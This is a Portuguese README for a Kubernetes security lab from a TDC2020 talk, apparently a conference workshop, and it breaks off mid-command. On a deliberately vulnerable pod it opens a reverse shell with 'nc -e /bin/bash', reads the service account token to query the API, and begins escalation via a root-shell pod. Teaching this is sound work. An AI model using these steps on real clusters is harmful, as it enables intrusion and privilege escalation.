├── README.md └── [TDC2020]-Kubernetes é seguro por default ou à prova de má configuração (2).pdf /README.md: -------------------------------------------------------------------------------- 1 | # Kubernetes é seguro por default ou à prova de má configuração? 2 | 3 | # Lab + explicação: 4 | 5 | Para montar nosso lab vamos precisar de um cluster kubernetes, pode ser até no kind ou minikube. 6 | 7 | **Não executar esse lab em um cluster produtivo** 8 | 9 | Primeiro vamos criar nosso namespace, pod, service account e roles: 10 | 11 | ``` 12 | kubectl create ns production 13 | 14 | kubectl create sa web-app-sa -n production 15 | 16 | kubectl create role web-app-role -n production --verb=get,list,create --resource=pods,pods/exec 17 | 18 | kubectl create rolebinding binding-role-app --serviceaccount=production:web-app-sa --role=web-app-role -n production 19 | 20 | kubectl run web-app --image=p0ssuidao/vulne-pod-lab:01 --serviceaccount=web-app-sa -n production 21 | 22 | kubectl expose pod -n production web-app --port=8080 --target-port=8080 --type=NodePort --name=web-app-role 23 | 24 | ``` 25 | 26 | ``` 27 | kubectl get no -o wide 28 | kubectl get svc -n production 29 | ``` 30 | Agora basta acessar no seu navegador IP do node + Node port 31 | 32 | User foo 33 | Pass bar 34 | 35 | Agora vamos abrir a porta 32000 para receber a conexão: 36 | ``` 37 | sudo nc -l 32000 38 | ``` 39 | 40 | Executar no terminal remoto para ganhar acesso a shell: 41 | ``` 42 | nc -e /bin/bash "IP da sua maquina" 32000 43 | ``` 44 | 45 | Primeiro identificarmos com qual usuário estamos logados: 46 | ``` 47 | id 48 | ``` 49 | A aplicação está rodando com o usuário appuser, então vamos ver quais processos estão em execução. 50 | 51 | ``` 52 | ps aux 53 | ``` 54 | 55 | Existe um número muito baixo de processos. Ter poucos processos é o primeiro indicativo que a aplicação é em um container. Por default um container roda com o usuário root mas isso pode ser alterado. 56 | Levantaremos informações sobre o release do S.O. 57 | ``` 58 | uname -a ; cat /etc/*-release 59 | ``` 60 | 61 | Aqui há informações como a linha da distribuição GNU/Linux e versão do Kernel. Com isso já pode se iniciar a busca por exploits para a versão de kernel e baseados na distro. 62 | Continuando a busca, listaremos as variáveis de ambiente. 63 | 64 | ``` 65 | env 66 | ``` 67 | 68 | Vamos continuar o reconhecimento para termos certeza que estamos rodando em um container. Para isso vamos utilizar a ferramenta “amicontained”, pois com ela conseguimos uma serie de informações como: 69 | 70 | - Container Runtime. 71 | - Existência de namespace. 72 | - Capabilities. 73 | - Syscalls liberadas. 74 | 75 | ``` 76 | cd /tmp; curl -fSL "https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64" -o "amicontained" \ 77 | && chmod a+x "amicontained" \ 78 | && ./amicontained 79 | ``` 80 | 81 | Todo pod, deploy e rs possui uma serviceaccount e por padrão são executados com a conta default. Uma serviceaccount fornece uma identidade para processos executados em um pod e nela são atrelado as rules de permissão. 82 | As chaves e certificados ficam em um volume montado no pod. 83 | 84 | ``` 85 | cd /var/run/secrets/kubernetes.io/serviceaccount 86 | ``` 87 | 88 | Primeiro vamos ver a versão do cluster e se conseguimos interagir com a API. 89 | ``` 90 | curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version 91 | ``` 92 | 93 | Já que conseguimos acesso a API com esse token vamos tentar listar alguns pods, de inicio vamos tentar listar no namespace em que estamos: 94 | ``` 95 | TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) 96 | NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) 97 | 98 | curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/api --header "Authorization: Bearer $TOKEN" --insecure 99 | 100 | curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/api/v1/namespaces/$NS/pods/ --header "Authorization: Bearer $TOKEN" --insecure 101 | ``` 102 | Conseguimos listar os pods e isso é muito interessante. Para facilitar um pouco as coisas vamos baixar o kubectl para interagir com o cluster. 103 | ``` 104 | cd /tmp ; curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.18.0/bin/linux/amd64/kubectl ; chmod +x ./kubectl 105 | ``` 106 | Listaremos os pods com o kubectl. 107 | ``` 108 | ./kubectl get pod 109 | ``` 110 | Para testar nossos acessos vamos utilizar o "kubectl auth can-i" 111 | ``` 112 | ./kubectl auth can-i --list 113 | 114 | ./kubectl auth can-i create pods 115 | ``` 116 | 117 | Agora vamos tentar escalar nosso privilegio sem utilizar nenhum exploit apenas conhecimento da ferramenta. 118 | 119 | ``` 120 | cd /tmp; cat > root-shell.yml < master-root-shell.yml <